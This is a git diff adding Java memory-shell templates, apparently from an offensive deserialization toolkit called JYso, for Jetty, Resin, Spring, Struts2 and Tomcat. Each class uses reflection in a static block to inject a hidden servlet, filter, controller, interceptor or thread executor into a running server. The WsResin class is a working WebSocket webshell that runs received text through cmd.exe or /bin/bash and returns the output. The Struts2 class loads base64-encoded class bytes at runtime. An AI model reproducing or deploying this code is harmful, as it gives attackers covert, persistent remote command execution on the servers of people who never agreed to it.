classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); + } catch (ClassNotFoundException ignored) { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Holder$Source"); + } + Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); + holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); + } + + holder.getClass().getMethod("setName", String.class).invoke(holder, servletName); + Servlet servlet = new JSMSFromJMXS(); + holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet); + handler.getClass().getMethod("addServlet", holder.getClass()).invoke(handler, holder); + +// ServletMapping mappingx = new ServletMapping(Source.JAVAX_API); +// mappingx.setServletName(ServletHolder.this.getName()); +// mappingx.setPathSpecs(urlPatterns); +// ServletHolder.this.getServletHandler().addServletMapping(mappingx); + + Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); + Object servletMapping = null; + try { + servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null)); + } catch (NoSuchMethodException e) { + servletMapping = clazz.newInstance(); + } + + servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName); + servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{pattern}}); + handler.getClass().getMethod("addServletMapping", clazz).invoke(handler, servletMapping); + } + } catch (Exception e) { + //pass + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RFMSFromThreadF.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RFMSFromThreadF.java new file mode 100644 index 0000000..412a18b --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RFMSFromThreadF.java @@ -0,0 +1,114 @@ +package com.qi4l.JYso.template.memshellStatic.resin; + +import com.caucho.server.dispatch.FilterConfigImpl; +import com.caucho.server.dispatch.FilterMapper; +import com.caucho.server.dispatch.FilterMapping; +import com.caucho.server.webapp.WebApp; + +import javax.servlet.*; +import java.lang.reflect.Field; +import java.util.ArrayList; + +public class RFMSFromThreadF implements Filter { + public static String pattern; + + static { + try { + String filterName = String.valueOf(System.nanoTime()); + + ClassLoader classloader = Thread.currentThread().getContextClassLoader(); + + Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation"); + Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl"); + Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping"); + Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper"); + + Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null); + WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest); + + Filter filter = new RFMSFromThreadF(); + + FilterConfigImpl filterConfigimpl = (FilterConfigImpl) filterConfigimplcls.newInstance(); + filterConfigimpl.setFilterName(filterName); + filterConfigimpl.setFilter(filter); + filterConfigimpl.setFilterClass(filter.getClass()); + + webapp.addFilter(filterConfigimpl); + + FilterMapping filterMapping = (FilterMapping) filterMappingcls.newInstance(); + FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern(); + filterMappingUrlpattern.addText(pattern); + filterMappingUrlpattern.init(); + filterMapping.setFilterName(filterName); + filterMapping.setServletContext(webapp); + + + //set filterMapper + Field fieldWebappFilterMapper = null; + try { + fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper"); + } catch (NoSuchFieldException Exception) { + fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper"); + } + + fieldWebappFilterMapper.setAccessible(true); + FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp); + + Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap"); + fieldFilterMapperFilterMap.setAccessible(true); + + ArrayList orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper); + ArrayList newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1); + newFilterMappings.add(filterMapping); + + int count = 0; + while (count < orginalfilterMappings.size()) { + newFilterMappings.add(orginalfilterMappings.get(count)); + ++count; + } + + fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings); + fieldWebappFilterMapper.set(webapp, filtermapper); + + //set loginFilterMapper + Field fieldWebappLoginFilterMapper = null; + try { + fieldWebappLoginFilterMapper = webapp.getClass().getDeclaredField("_loginFilterMapper"); + } catch (NoSuchFieldException Exception) { + fieldWebappLoginFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_loginFilterMaper"); + } + + fieldWebappLoginFilterMapper.setAccessible(true); + FilterMapper loginFilterMapper = (FilterMapper) fieldWebappLoginFilterMapper.get(webapp); + + ArrayList orginLoginFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(loginFilterMapper); + ArrayList newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1); + newLoginFilterMappings.add(filterMapping); + + count = 0; + while (count < orginLoginFilterMappings.size()) { + newLoginFilterMappings.add(orginLoginFilterMappings.get(count)); + ++count; + } + + fieldFilterMapperFilterMap.set(loginFilterMapper, newLoginFilterMappings); + fieldWebappLoginFilterMapper.set(webapp, loginFilterMapper); + + webapp.getClass().getMethod("clearCache").invoke(webapp); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RSMSFromThreadS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RSMSFromThreadS.java new file mode 100644 index 0000000..5f66c0e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RSMSFromThreadS.java @@ -0,0 +1,76 @@ +package com.qi4l.JYso.template.memshellStatic.resin; + +import com.caucho.server.dispatch.ServletConfigImpl; +import com.caucho.server.dispatch.ServletManager; + +import javax.servlet.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; + +public class RSMSFromThreadS implements Servlet { + public static String pattern; + + public static String NAME; + + static { + try { + Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Method getContextRequest = si.getMethod("getContextRequest"); + javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null); + + Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext"); + Object web = getServletContext.invoke(contextRequest); + + com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp) web; + + com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping(); + + Field f = ServletConfigImpl.class.getDeclaredField("_servletClass"); + f.setAccessible(true); + f.set(smapping, RSMSFromThreadS.class); + + Field f1 = ServletConfigImpl.class.getDeclaredField("_servletClassName"); + f1.setAccessible(true); + f1.set(smapping, RSMSFromThreadS.class.getName()); + + Field f2 = web1.getClass().getDeclaredField("_servletManager"); + f2.setAccessible(true); + + Object manager = f2.get(web1); + Field f3 = ServletManager.class.getDeclaredField("_servlets"); + f3.setAccessible(true); + HashMap map = (HashMap) f3.get(manager); + + map.put(NAME, new ServletConfigImpl()); + + smapping.setServletName(NAME); + smapping.addURLPattern(pattern); + + web1.addServletMapping(smapping); + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/WsResin.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/WsResin.java new file mode 100644 index 0000000..5db9e80 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/WsResin.java @@ -0,0 +1,85 @@ +package com.qi4l.JYso.template.memshellStatic.resin; + +import com.caucho.websocket.WebSocketContext; +import com.caucho.websocket.WebSocketListener; +import com.caucho.websocket.WebSocketServletRequest; + +import java.io.IOException; +import java.io.InputStream; +import java.io.PrintWriter; +import java.io.Reader; + +public class WsResin implements WebSocketListener { + + static { + try { + ClassLoader classloader = Thread.currentThread().getContextClassLoader(); + Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null); + String protocol = (String) contextRequest.getClass().getMethod("getHeader").invoke(contextRequest, "Upgrade"); + //String protocol = request.getHeader("Upgrade"); + if (!"websocket".equals(protocol)) { + System.out.println("not websocket"); + System.exit(0); + } + WebSocketListener listener = new WsResin(); + WebSocketServletRequest wsReq = (WebSocketServletRequest) contextRequest; + wsReq.startWebSocket(listener); + } catch (Exception ignored) { + } + } + + @Override + public void onReadText(WebSocketContext context, Reader is) throws IOException { + StringBuilder sb = new StringBuilder(); + int ch; + while ((ch = is.read()) >= 0) { + sb.append((char) ch); + } + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", sb.toString()}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", sb.toString()}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + PrintWriter writer = context.startTextMessage(); + writer.print(stringBuilder); + writer.close(); + } catch (Exception ignored) { + } + } + + @Override + public void onClose(WebSocketContext webSocketContext) throws IOException { + + } + + @Override + public void onDisconnect(WebSocketContext webSocketContext) throws IOException { + + } + + @Override + public void onTimeout(WebSocketContext webSocketContext) throws IOException { + + } + + @Override + public void onStart(WebSocketContext webSocketContext) throws IOException { + + } + + @Override + public void onReadBinary(WebSocketContext webSocketContext, InputStream inputStream) throws IOException { + + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringControllerMS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringControllerMS.java new file mode 100644 index 0000000..25db2bc --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringControllerMS.java @@ -0,0 +1,182 @@ +package com.qi4l.JYso.template.memshellStatic.spring; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Map; + +public class SpringControllerMS { + + public static ClassLoader suLoader; + + public static String pattern; + + static { + try { + getClassLoader(); + Class utilClass = s("org.springframework.web.servlet.support.RequestContextUtils"); + Class holder = s("org.springframework.web.context.request.RequestContextHolder"); + Class reqMappingHandler = s("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); + + Class servletRequest = s("javax.servlet.ServletRequest"); + Class httpServletRequest = s("javax.servlet.http.HttpServletRequest"); + + // 获取当前应用上下文 + Method getWebApplicationContext; + getWebApplicationContext = getMethodByClass(utilClass, "getWebApplicationContext", new Class[]{servletRequest}); + if (getWebApplicationContext == null) { + getWebApplicationContext = getMethodByClass(utilClass, "findWebApplicationContext", new Class[]{httpServletRequest}); + } + + getWebApplicationContext.setAccessible(true); + + // 获取 ServletRequestAttributes + Method getAttributes = getMethodByClass(holder, "currentRequestAttributes", new Class[]{}); + getAttributes.setAccessible(true); + Object servletRequestAttributes = getAttributes.invoke(null); + + // 通过 context 获取 RequestMappingHandlerMapping 对象 + Object mapping = getMethodAndInvoke( + getWebApplicationContext.invoke(null, + getMethodAndInvoke(servletRequestAttributes, "getRequest", new Class[]{}, new Object[]{}) + ), + "getBean", new Class[]{Class.class}, new Object[]{reqMappingHandler} + ); + + // 获取父类的 MappingRegistry 属性 + Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); + f.setAccessible(true); + Object mappingRegistry = f.get(mapping); + + // 反射调用 MappingRegistry 的 register 方法 + Class c = s("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"); + Method[] ms = c.getDeclaredMethods(); + + // 判断当前路径是否已经添加 + Field lookupField; + try { + lookupField = c.getDeclaredField("urlLookup"); + } catch (Exception ignored) { + lookupField = c.getDeclaredField("pathLookup"); + } + lookupField.setAccessible(true); + + boolean flag = true; + + Map urlLookup = (Map) lookupField.get(mappingRegistry); + for (String urlPath : urlLookup.keySet()) { + if (pattern.equals(urlPath)) { + flag = false; + break; + } + } + + if (flag) { + // 初始化一些注册需要的信息 + Boolean isSpringHigh = false; + Object url; + Object pPRC = null; + Class requestConditionClass; + + // 高版本 Spring 期望使用 PathPatternsRequestCondition + try { + requestConditionClass = s("org.springframework.web.servlet.mvc.condition.PathPatternsRequestCondition"); + + Class pathPatternParserClass = s("org.springframework.web.util.pattern.PathPatternParser"); + Constructor constructor = requestConditionClass.getDeclaredConstructor(pathPatternParserClass, String[].class); + constructor.setAccessible(true); + pPRC = constructor.newInstance(pathPatternParserClass.newInstance(), new String[]{pattern}); + isSpringHigh = true; + } catch (Exception ignored) { + } + + // 低版本使用 PatternsRequestCondition + requestConditionClass = s("org.springframework.web.servlet.mvc.condition.PatternsRequestCondition"); + Constructor constructor = requestConditionClass.getDeclaredConstructor(String[].class); + constructor.setAccessible(true); + url = constructor.newInstance(new Object[]{new String[]{pattern}}); + + Class requestMethodsRequestCondition = s("org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition"); + Class requestMappingInfo = s("org.springframework.web.servlet.mvc.method.RequestMappingInfo"); + + Class params = s("org.springframework.web.servlet.mvc.condition.ParamsRequestCondition"); + Class headers = s("org.springframework.web.servlet.mvc.condition.HeadersRequestCondition"); + Class consumes = s("org.springframework.web.servlet.mvc.condition.ConsumesRequestCondition"); + Class produces = s("org.springframework.web.servlet.mvc.condition.ProducesRequestCondition"); + Class requestCondition = s("org.springframework.web.servlet.mvc.condition.RequestCondition"); + + // 实例化 RequestMethodsRequestCondition + Constructor constructor1 = requestMethodsRequestCondition.getDeclaredConstructor(java.util.Set.class); + constructor1.setAccessible(true); + Object condition = constructor1.newInstance(new java.util.HashSet()); + + // 实例化 RequestMappingInfo + Constructor constructor2 = requestMappingInfo.getDeclaredConstructor(requestConditionClass, requestMethodsRequestCondition, params, headers, consumes, produces, requestCondition); + constructor2.setAccessible(true); + Object info = constructor2.newInstance(url, condition, null, null, null, null, null); + + if (isSpringHigh) { + Field field = requestMappingInfo.getDeclaredField("pathPatternsCondition"); + field.setAccessible(true); + field.set(info, pPRC); + } + + for (Method method : ms) { + if ("register".equals(method.getName())) { + // 反射调用 MappingRegistry 的 register 方法注册 SpringControllerMS 的 index + method.setAccessible(true); + method.invoke(mappingRegistry, info, SpringControllerMS.class.newInstance(), + SpringControllerMS.class.getDeclaredMethod("readObjectToData", new Class[]{})); + } + } + } + } catch (Exception ignored) { + } + } + + public static Class s(String name) throws Exception { + return Class.forName(name, true, suLoader); + } + + public static void getClassLoader() { + suLoader = Thread.currentThread().getContextClassLoader(); + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + + public void readObjectToData() throws Exception { + Class holder = s("org.springframework.web.context.request.RequestContextHolder"); + Method getAttributes = getMethodByClass(holder, "currentRequestAttributes", new Class[]{}); + getAttributes.setAccessible(true); + Object servletRequestAttributes = getAttributes.invoke(null); + Object request = getMethodAndInvoke(servletRequestAttributes, "getRequest", new Class[]{}, new Object[]{}); + Object response = getMethodAndInvoke(servletRequestAttributes, "getResponse", new Class[]{}, new Object[]{}); + drop(request, response); + } + + public void drop(Object request, Object response) { + + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringInterceptorMS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringInterceptorMS.java new file mode 100644 index 0000000..1645f84 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringInterceptorMS.java @@ -0,0 +1,59 @@ +package com.qi4l.JYso.template.memshellStatic.spring; + +import org.springframework.beans.BeansException; +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; + +import javax.servlet.ServletRequest; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Method; + +/** + * Spring Interceptor型 内存马 + * + * @author QI4L + */ +public class SpringInterceptorMS extends HandlerInterceptorAdapter { + + static { + try { + Class RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils"); + + Method getWebApplicationContext; + try { + getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class); + } catch (NoSuchMethodException e) { + getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class); + } + getWebApplicationContext.setAccessible(true); + + WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); + + //从 requestMappingHandlerMapping 中获取 adaptedInterceptors 属性 老版本是 DefaultAnnotationHandlerMapping + org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping; + try { + Class RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); + abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping); + } catch (BeansException e) { + Class DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping"); + abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping); + } + + java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + field.setAccessible(true); + java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping); + + //添加SpringInterceptorTemplate类到adaptedInterceptors + adaptedInterceptors.add(new SpringInterceptorMS()); + } catch (Exception ignored) { + } + } + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + return true; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringWebfluxMS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringWebfluxMS.java new file mode 100644 index 0000000..47fabbb --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringWebfluxMS.java @@ -0,0 +1,134 @@ +package com.qi4l.JYso.template.memshellStatic.spring; + +import org.springframework.core.io.buffer.DefaultDataBuffer; +import org.springframework.core.io.buffer.DefaultDataBufferFactory; +import org.springframework.util.MultiValueMap; +import org.springframework.web.server.ServerWebExchange; +import org.springframework.web.server.WebFilter; +import org.springframework.web.server.WebFilterChain; +import org.springframework.web.server.WebHandler; +import org.springframework.web.server.handler.DefaultWebFilterChain; +import org.springframework.web.server.handler.FilteringWebHandler; +import reactor.core.publisher.Mono; + +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.function.Function; + +/** + * 此内存马目前仅支持了 gz 以及 cmd + * 暂未适配冰蝎及 gzraw + */ +public class SpringWebfluxMS implements WebFilter, Function, Mono> { + public static String HEADER_KEY; + public static String HEADER_VALUE; + public static String CMD_HEADER; + public static Map store = new HashMap(); + + static { + FilteringWebHandler filteringWebHandler = null; + + try { + // WebFlux 默认是 Netty,但是很多人喜欢用 Tomcat ,因此本内存马支持这两种 + Class.forName("org.apache.catalina.loader.WebappClassLoaderBase"); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + + Map map = (Map) getFieldValue(getFieldValue(getFieldValue(loader, "resources"), "context"), "children"); + Object servlet = map.get("httpHandlerServlet"); + filteringWebHandler = (FilteringWebHandler) getFieldValue(getFieldValue(getFieldValue(getFieldValue( + getFieldValue(servlet, "existing"), "httpHandler"), "delegate"), "delegate"), "delegate"); + + } catch (Exception ignored) { + try { + Method getThreads = Thread.class.getDeclaredMethod("getThreads"); + getThreads.setAccessible(true); + Object threads = getThreads.invoke(null); + for (int i = 0; i < Array.getLength(threads); i++) { + Object thread = Array.get(threads, i); + if (thread != null && thread.getClass().getName().contains("NettyWebServer")) { + filteringWebHandler = (FilteringWebHandler) getFieldValue(getFieldValue( + getFieldValue(getFieldValue(getFieldValue( + getFieldValue(thread, "this$0"), "handler"), + "httpHandler"), "delegate"), "delegate"), "delegate"); + break; + } + } + } catch (Exception neverMind) { + } + } + + + if (filteringWebHandler != null) { + try { + DefaultWebFilterChain defaultWebFilterChain = (DefaultWebFilterChain) getFieldValue(filteringWebHandler, "chain"); + Object handler = getFieldValue(defaultWebFilterChain, "handler"); + List newAllFilters = new ArrayList(defaultWebFilterChain.getFilters()); + newAllFilters.add(0, new SpringWebfluxMS()); + DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters); + Field f = filteringWebHandler.getClass().getDeclaredField("chain"); + f.setAccessible(true); + Field modifersField = Field.class.getDeclaredField("modifiers"); + modifersField.setAccessible(true); + modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); + f.set(filteringWebHandler, newChain); + modifersField.setInt(f, f.getModifiers() & Modifier.FINAL); + } catch (Exception ignored) { + } + } + } + + String COMMAND; + + public SpringWebfluxMS() { + } + + public SpringWebfluxMS(String COMMAND) { + this.COMMAND = COMMAND; + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + @Override + public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { + String value = exchange.getRequest().getHeaders().getFirst(HEADER_KEY); + String cmd = exchange.getRequest().getHeaders().getFirst(CMD_HEADER); + if (value != null && value.contains(HEADER_VALUE)) { + Mono bufferStream = exchange.getFormData().flatMap(new SpringWebfluxMS(cmd)); + return exchange.getResponse().writeWith(bufferStream); + } + return chain.filter(exchange); + } + + @Override + public Mono apply(MultiValueMap map) { + StringBuilder result = new StringBuilder(); + return Mono.just(new DefaultDataBufferFactory().wrap(executePayload(result, map).getBytes())); + } + + public String executePayload(StringBuilder sb, MultiValueMap map) { + return sb.toString(); + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/struts2/Struts2ActionMS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/struts2/Struts2ActionMS.java new file mode 100644 index 0000000..dc74fc6 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/struts2/Struts2ActionMS.java @@ -0,0 +1,111 @@ +package com.qi4l.JYso.template.memshellStatic.struts2; + +public class Struts2ActionMS { + public static String pattern; + + public static String thisClass; + + static { + try { + if (thisClass != null) { + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + + // 用 Context ClassLoader 加载,防止映射后再访问不到 + String selfName = Struts2ActionMS.class.getName(); + byte[] classBytes = base64Decode(thisClass); + + Class loaderClass = Class.forName("java.lang.ClassLoader", false, loader); + java.lang.reflect.Method defineClass = loaderClass.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + defineClass.invoke(loader, selfName, classBytes, Integer.valueOf("0"), classBytes.length); + + Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext", false, loader); + + pattern = pattern.substring(1); + java.lang.reflect.Field filed = actionContextClass.getDeclaredField("actionContext"); + filed.setAccessible(true); + ThreadLocal context = (ThreadLocal) filed.get(null); + Object con = context.get(); + java.lang.reflect.Method method = actionContextClass.getDeclaredMethod("getActionInvocation", (Class) null); + method.setAccessible(true); + Object inv = method.invoke(con); + Object invObj = getFieldValue(inv, "proxy"); + Object configuration = getFieldValue(invObj, "configuration"); + Object runtimeConf = getFieldValue(configuration, "runtimeConfiguration"); + Object map = getFieldValue(runtimeConf, "namespaceActionConfigs"); + java.util.Map m = (java.util.Map) getFieldValue(map, "m"); + + java.lang.reflect.Constructor constructor = Class.forName("com.opensymphony.xwork2.config.entities.ActionConfig", false, loader).getDeclaredConstructor(new Class[]{String.class, String.class, String.class}); + constructor.setAccessible(true); + Object actionConfig = constructor.newInstance("", pattern, selfName); + + // 这里常见的 context 是 "" 或者 "/",在额外配置的时候可能需要额外处理 + java.util.LinkedHashMap o1 = (java.util.LinkedHashMap) m.get(""); + + if (o1 == null) { + o1 = (java.util.LinkedHashMap) m.get("/"); + } + + o1.put(pattern, actionConfig); + } + } catch (Exception ignored) { + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + public String execute() throws Exception { + Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext"); + java.lang.reflect.Method getContextMethod = actionContextClass.getDeclaredMethod("getContext", (Class) null); + getContextMethod.setAccessible(true); + Object actionContext = getContextMethod.invoke(null); + java.lang.reflect.Method get = actionContextClass.getDeclaredMethod("get", String.class); + get.setAccessible(true); + Object req = get.invoke(actionContext, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + Class wrapperClass = Class.forName("javax.servlet.ServletRequestWrapper"); + java.lang.reflect.Method method = wrapperClass.getDeclaredMethod("getRequest", (Class) null); + method.setAccessible(true); + Object realObj = method.invoke(req); + Object resp = get.invoke(actionContext, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + executeAction(realObj, resp); + return null; + } + + public void executeAction(Object request, Object response) { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TEXMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TEXMSFromThread.java new file mode 100644 index 0000000..bccea01 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TEXMSFromThread.java @@ -0,0 +1,78 @@ +package com.qi4l.JYso.template.memshellStatic.tomcat; + +import org.apache.catalina.core.StandardThreadExecutor; +import org.apache.tomcat.util.net.NioEndpoint; +import org.apache.tomcat.util.threads.ThreadPoolExecutor; + +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.TimeUnit; + +/** + * Tomcat Executor 内存马 + */ +public class TEXMSFromThread extends ThreadPoolExecutor { + static { + try { + ThreadPoolExecutor exec = null; + NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); + try { + exec = (ThreadPoolExecutor) getFieldValue(nioEndpoint, "executor"); + } catch (ClassCastException e) { + StandardThreadExecutor standardExec = (StandardThreadExecutor) getFieldValue(nioEndpoint, "executor"); + exec = (ThreadPoolExecutor) getFieldValue(standardExec, "executor"); + } + TEXMSFromThread exe = new TEXMSFromThread(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), (java.util.concurrent.RejectedExecutionHandler) exec.getRejectedExecutionHandler()); + nioEndpoint.setExecutor(exe); + } catch (Exception ignored) { + } + } + + public TEXMSFromThread(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue workQueue, ThreadFactory threadFactory, java.util.concurrent.RejectedExecutionHandler handler) { + super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler); + } + + public static Object getStandardService() throws Exception { + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + for (Thread thread : threads) { + if (thread == null) { + continue; + } + if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { + Object target = getFieldValue(thread, "target"); + Object jioEndPoint 